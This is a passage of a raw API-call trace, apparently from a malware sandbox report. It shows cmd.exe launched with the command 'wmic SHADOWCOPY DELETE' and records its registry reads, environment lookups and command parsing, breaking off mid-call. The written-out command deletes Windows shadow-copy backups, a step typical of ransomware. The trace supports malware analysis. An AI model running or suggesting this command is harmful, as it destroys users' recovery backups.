(in: lpAddress=0xbffa93, lpBuffer=0xbffa40, dwLength=0x1c | out: lpBuffer=0xbffa40*(BaseAddress=0xbff000, AllocationBase=0xb00000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0262.488] VirtualQuery (in: lpAddress=0xb00000, lpBuffer=0xbffa40, dwLength=0x1c | out: lpBuffer=0xbffa40*(BaseAddress=0xb00000, AllocationBase=0xb00000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0262.488] VirtualQuery (in: lpAddress=0xb01000, lpBuffer=0xbffa40, dwLength=0x1c | out: lpBuffer=0xbffa40*(BaseAddress=0xb01000, AllocationBase=0xb00000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0262.488] VirtualQuery (in: lpAddress=0xb03000, lpBuffer=0xbffa40, dwLength=0x1c | out: lpBuffer=0xbffa40*(BaseAddress=0xb03000, AllocationBase=0xb00000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0262.488] VirtualQuery (in: lpAddress=0xc00000, lpBuffer=0xbffa40, dwLength=0x1c | out: lpBuffer=0xbffa40*(BaseAddress=0xc00000, AllocationBase=0xc00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0262.488] GetConsoleOutputCP () returned 0x1b5 [0262.781] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0262.781] SetConsoleCtrlHandler (HandlerRoutine=0xc27260, Add=1) returned 1 [0262.781] _get_osfhandle (_FileHandle=1) returned 0x90 [0262.781] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc3388c | out: lpMode=0xc3388c) returned 1 [0262.972] _get_osfhandle (_FileHandle=0) returned 0x8c [0262.972] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33888 | out: lpMode=0xc33888) returned 1 [0263.252] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.252] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0263.422] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.422] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0263.591] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.591] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0263.796] _get_osfhandle (_FileHandle=0) returned 0x8c [0263.796] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0263.977] _get_osfhandle (_FileHandle=0) returned 0x8c [0263.977] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0264.113] GetEnvironmentStringsW () returned 0x3024b90* [0264.113] GetProcessHeap () returned 0x3020000 [0264.113] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xaca) returned 0x3025668 [0264.114] FreeEnvironmentStringsA (penv="A") returned 1 [0264.114] GetProcessHeap () returned 0x3020000 [0264.114] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x4) returned 0x3024670 [0264.114] GetEnvironmentStringsW () returned 0x3024b90* [0264.114] GetProcessHeap () returned 0x3020000 [0264.114] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xaca) returned 0x3026140 [0264.114] FreeEnvironmentStringsA (penv="A") returned 1 [0264.114] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbfe9e4 | out: phkResult=0xbfe9e4*=0xcc) returned 0x0 [0264.114] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x0, lpData=0xbfe9f0*=0x0, lpcbData=0xbfe9e8*=0x1000) returned 0x2 [0264.114] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x4, lpData=0xbfe9f0*=0x1, lpcbData=0xbfe9e8*=0x4) returned 0x0 [0264.114] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x0, lpData=0xbfe9f0*=0x1, lpcbData=0xbfe9e8*=0x1000) returned 0x2 [0264.114] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x4, lpData=0xbfe9f0*=0x0, lpcbData=0xbfe9e8*=0x4) returned 0x0 [0264.114] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x4, lpData=0xbfe9f0*=0x40, lpcbData=0xbfe9e8*=0x4) returned 0x0 [0264.114] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x4, lpData=0xbfe9f0*=0x40, lpcbData=0xbfe9e8*=0x4) returned 0x0 [0264.114] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x0, lpData=0xbfe9f0*=0x40, lpcbData=0xbfe9e8*=0x1000) returned 0x2 [0264.114] RegCloseKey (hKey=0xcc) returned 0x0 [0264.114] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbfe9e4 | out: phkResult=0xbfe9e4*=0xcc) returned 0x0 [0264.115] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x0, lpData=0xbfe9f0*=0x40, lpcbData=0xbfe9e8*=0x1000) returned 0x2 [0264.115] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x4, lpData=0xbfe9f0*=0x1, lpcbData=0xbfe9e8*=0x4) returned 0x0 [0264.115] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x0, lpData=0xbfe9f0*=0x1, lpcbData=0xbfe9e8*=0x1000) returned 0x2 [0264.115] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x4, lpData=0xbfe9f0*=0x0, lpcbData=0xbfe9e8*=0x4) returned 0x0 [0264.115] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x4, lpData=0xbfe9f0*=0x9, lpcbData=0xbfe9e8*=0x4) returned 0x0 [0264.115] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x4, lpData=0xbfe9f0*=0x9, lpcbData=0xbfe9e8*=0x4) returned 0x0 [0264.115] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbfe9ec, lpData=0xbfe9f0, lpcbData=0xbfe9e8*=0x1000 | out: lpType=0xbfe9ec*=0x0, lpData=0xbfe9f0*=0x9, lpcbData=0xbfe9e8*=0x1000) returned 0x2 [0264.115] RegCloseKey (hKey=0xcc) returned 0x0 [0264.115] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb057f1 [0264.115] srand (_Seed=0x5cb057f1) [0264.115] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wmic SHADOWCOPY DELETE" [0264.115] malloc (_Size=0x4000) returned 0x33b21f0 [0264.116] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wmic SHADOWCOPY DELETE" [0264.116] malloc (_Size=0xffce) returned 0x33c0048 [0264.116] ??_V@YAXPAX@Z () returned 0xbff9c8 [0264.117] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x33c0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.117] malloc (_Size=0xffce) returned 0x33d0020 [0264.117] ??_V@YAXPAX@Z () returned 0xbff79c [0264.118] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x33d0020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0264.118] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0264.118] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0264.118] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0264.118] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0264.118] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0264.118] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0264.118] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0264.118] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0264.118] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0264.118] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0264.118] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0264.118] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0264.118] GetProcessHeap () returned 0x3020000 [0264.118] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3025668) returned 1 [0264.118] GetEnvironmentStringsW () returned 0x3024b90* [0264.119] GetProcessHeap () returned 0x3020000 [0264.119] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xae2) returned 0x3027708 [0264.119] FreeEnvironmentStringsA (penv="A") returned 1 [0264.119] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0264.119] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0264.119] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0264.119] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0264.119] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0264.119] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0264.119] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0264.119] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0264.119] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0264.119] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0264.119] malloc (_Size=0xffce) returned 0x33dfff8 [0264.119] ??_V@YAXPAX@Z () returned 0xbff534 [0264.120] GetProcessHeap () returned 0x3020000 [0264.120] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x38) returned 0x3020ae0 [0264.120] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x33dfff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.120] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x33dfff8, lpFilePart=0xbff580 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xbff580*="Desktop") returned 0x17 [0264.123] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0264.123] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xbff300 | out: lpFindFileData=0xbff300) returned 0x3020b20 [0264.124] FindClose (in: hFindFile=0x3020b20 | out: hFindFile=0x3020b20) returned 1 [0264.124] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xbff300 | out: lpFindFileData=0xbff300) returned 0x3020b20 [0264.124] FindClose (in: hFindFile=0x3020b20 | out: hFindFile=0x3020b20) returned 1 [0264.124] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xbff300 | out: lpFindFileData=0xbff300) returned 0x3020b20 [0264.124] FindClose (in: hFindFile=0x3020b20 | out: hFindFile=0x3020b20) returned 1 [0264.124] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0264.124] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0264.124] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0264.124] GetProcessHeap () returned 0x3020000 [0264.124] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3027708) returned 1 [0264.124] GetEnvironmentStringsW () returned 0x3024b90* [0264.125] GetProcessHeap () returned 0x3020000 [0264.125] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xb1a) returned 0x3026c18 [0264.125] FreeEnvironmentStringsA (penv="=") returned 1 [0264.125] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x33c0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.125] GetProcessHeap () returned 0x3020000 [0264.125] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3020ae0) returned 1 [0264.125] ??_V@YAXPAX@Z () returned 0x1 [0264.125] ??_V@YAXPAX@Z () returned 0x1 [0264.125] GetProcessHeap () returned 0x3020000 [0264.125] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x400e) returned 0x3028d20 [0264.125] GetProcessHeap () returned 0x3020000 [0264.125] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x3a) returned 0x3027740 [0264.125] GetProcessHeap () returned 0x3020000 [0264.125] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3028d20) returned 1 [0264.125] GetConsoleOutputCP () returned 0x1b5 [0264.255] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0264.255] GetUserDefaultLCID () returned 0x409 [0264.256] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xc2f82c, cchData=8 | out: lpLCData=":") returned 2 [0264.256] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xbff8f0, cchData=128 | out: lpLCData="0") returned 2 [0264.256] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xbff8f0, cchData=128 | out: lpLCData="0") returned 2 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xbff8f0, cchData=128 | out: lpLCData="1") returned 2 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xc2f81c, cchData=8 | out: lpLCData="/") returned 2 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xc2f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xc2f778, cchData=32 | out: lpLCData="Tue") returned 4 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xc2f738, cchData=32 | out: lpLCData="Wed") returned 4 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xc2f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xc2f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xc2f678, cchData=32 | out: lpLCData="Sat") returned 4 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xc2f638, cchData=32 | out: lpLCData="Sun") returned 4 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xc2f80c, cchData=8 | out: lpLCData=".") returned 2 [0264.259] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xc2f7f8, cchData=8 | out: lpLCData=",") returned 2 [0264.259] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0264.261] GetProcessHeap () returned 0x3020000 [0264.261] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x0, Size=0x20c) returned 0x30277d0 [0264.261] GetConsoleTitleW (in: lpConsoleTitle=0x30277d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.451] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0264.451] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0264.451] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0264.451] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0264.451] ??_V@YAXPAX@Z () returned 0x1 [0264.451] GetProcessHeap () returned 0x3020000 [0264.451] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x400a) returned 0x3028d20 [0264.451] GetProcessHeap () returned 0x3020000 [0264.451] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3028d20) returned 1 [0264.452] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0264.452] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0264.452] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0264.452] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0264.452] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0264.452] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0264.452] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0264.452] GetProcessHeap () returned 0x3020000 [0264.452] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x58) returned 0x30279e8 [0264.452] GetProcessHeap () returned 0x3020000 [0264.452] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x12) returned 0x3027a48 [0264.452] GetProcessHeap () returned 0x3020000 [0264.452] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x2e) returned 0x3027a68 [0264.453] GetConsoleTitleW (in: lpConsoleTitle=0xbff7e8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.632] malloc (_Size=0xffce) returned 0x33d2620 [0264.633] ??_V@YAXPAX@Z () returned 0xbff574 [0264.633] malloc (_Size=0xffce) returned 0x33e25f8 [0264.633] ??_V@YAXPAX@Z () returned 0xbff32c [0264.634] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0264.634] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0264.634] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0264.634] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0264.634] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0264.634] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0264.634] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0264.634] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0264.634] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0264.634] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0264.634] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0264.634] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0264.634] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0264.634] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0264.634] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0264.634] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0264.634] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0264.634] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0264.635] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0264.635] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0264.635] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0264.635] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0264.635] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0264.635] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0264.635] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0264.635] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0264.635] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0264.635] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0264.635] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0264.635] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0264.635] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0264.635] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0264.635] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0264.635] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0264.635] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0264.635] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0264.635] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0264.635] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0264.635] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0264.635] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0264.668] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0264.668] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0264.668] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0264.668] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0264.668] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0264.668] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0264.668] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0264.668] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0264.668] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0264.668] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0264.668] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0264.668] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0264.668] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0264.668] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0264.668] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0264.668] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0264.668] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0264.668] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0264.668] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0264.668] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0264.668] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0264.668] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0264.668] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0264.668] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0264.668] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0264.668] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0264.668] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0264.669] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0264.669] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0264.669] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0264.669] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0264.669] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0264.669] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0264.669] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0264.669] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0264.669] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0264.669] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0264.669] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0264.669] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0264.669] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0264.669] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0264.669] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0264.669] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0264.669] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0264.669] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0264.669] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0264.669] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0264.669] ??_V@YAXPAX@Z () returned 0x1 [0264.669] GetProcessHeap () returned 0x3020000 [0264.669] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xffd6) returned 0x3028d20 [0264.670] GetProcessHeap () returned 0x3020000 [0264.670] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x38) returned 0x3027aa0 [0264.670] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0264.670] malloc (_Size=0xffce) returned 0x33e25f8 [0264.670] ??_V@YAXPAX@Z () returned 0xbff0ac [0264.670] GetProcessHeap () returned 0x3020000 [0264.670] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x1ffa4) returned 0x3038d00 [0264.672] SetErrorMode (uMode=0x0) returned 0x0 [0264.672] SetErrorMode (uMode=0x1) returned 0x0 [0264.672] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x3038d08, lpFilePart=0xbff0cc | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xbff0cc*="Desktop") returned 0x17 [0264.672] SetErrorMode (uMode=0x0) returned 0x1 [0264.672] GetProcessHeap () returned 0x3020000 [0264.672] RtlReAllocateHeap (Heap=0x3020000, Flags=0x0, Ptr=0x3038d00, Size=0x42) returned 0x3038d00 [0264.672] GetProcessHeap () returned 0x3020000 [0264.672] RtlSizeHeap (HeapHandle=0x3020000, Flags=0x0, MemoryPointer=0x3038d00) returned 0x42 [0264.672] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0264.672] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0264.672] GetProcessHeap () returned 0x3020000 [0264.672] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x1b4) returned 0x3027ae0 [0264.672] GetProcessHeap () returned 0x3020000 [0264.672] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0x360) returned 0x3027ca0 [0264.680] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.680] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xbfee58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 